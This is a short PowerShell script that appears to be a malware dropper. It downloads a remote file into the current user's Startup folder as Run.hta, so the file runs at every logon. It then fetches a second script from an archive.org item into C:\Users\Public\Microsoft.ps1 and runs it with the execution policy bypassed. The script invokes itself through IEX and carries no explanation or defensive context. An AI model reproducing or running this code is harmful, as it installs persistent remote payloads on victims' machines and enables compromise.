Function HBar
{
$p = 'C:\Users\' + $env:UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
$ps1 = 'C:\Users\Public\'


start-sleep -s 7

if((New-Object System.Net.WebClient).DownloadFile('https://www.edenoakshealthcare.com/Account/Startup.txt', $p + 'Run.hta')){
}
start-sleep -s 7
if((New-Object System.Net.WebClient).DownloadFile('https://ia601507.us.archive.org/27/items/server_20210225/Server.txt' , $ps1 + 'Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C:\Users\Public\Microsoft.ps1"
}
IEX HBar